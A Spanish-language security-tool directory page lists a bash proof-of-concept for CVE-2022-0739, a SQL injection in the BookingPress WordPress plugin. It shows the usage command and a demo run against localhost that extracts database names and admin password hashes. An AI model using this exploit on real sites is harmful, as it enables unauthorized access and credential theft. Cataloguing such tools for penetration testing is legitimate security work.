Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/chris01s/cve-2022-0739
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubchris01s/cve-2022-0739

CVE-2022-0739

Script bash simple para automatizar la explotación de cve 2022 0739

Ver Repositorio
411hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-0739

Exploit de prueba de concepto (SQLI BookingPress anterior a 1.0.11)

#Uso Proporcione la URL donde el plugin Booking Press está en uso en la aplicación.

bash exploit.sh ''

p. ej. (Los hashes están redactados en esta demo)

root@kitploit:~
	┌──(user@user)-[~/]
	└─$ bash sqli_exploit.sh 'http://localhost/calendar/'
	    ____              __   _             ____                     
	   / __ )____  ____  / /__(_)___  ____ _/ __ \________  __________
	  / __  / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
	 / /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ /  /  __(__  |__  ) 
	/_____/\____/\____/_/|_/_/_/ /_/\__, /_/   /_/   \___/____/____/  
			               /____/                             
	   _______    ________    ___   ____ ___  ___        ____  __________ ____ 
	  / ____/ |  / / ____/   |__ \ / __ \__ \|__ \      / __ \/__  /__  // __ \
	 / /    | | / / __/________/ // / / /_/ /__/ /_____/ / / /  / / /_ </ /_/ /
	/ /___  | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ /  / /___/ /\__, / 
	\____/  |___/_____/    /____/\____/____/____/     \____/  /_//____//____/  

	[+] Explotando http://localhost ...
	[+] URL vulnerable en http://localhost/calendar/...
	[+] Obteniendo nonce...
	[+] Nonce encontrado: 219087f4c2
	[+] Extraer nombre de la base de datos...

	information_schema
	test_db


	[+] Obteniendo credenciales...
	admin $P$BGrGrgXXXXXXXXXXXXXX
	testUs3r $P$B4aNM28NXXXXXXXXXXX

DESCARGO DE RESPONSABILIDAD

El uso de este programa sin el consentimiento mutuo previo puede considerarse una actividad ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de ningún uso indebido o daño causado por este programa.

Descargar herramienta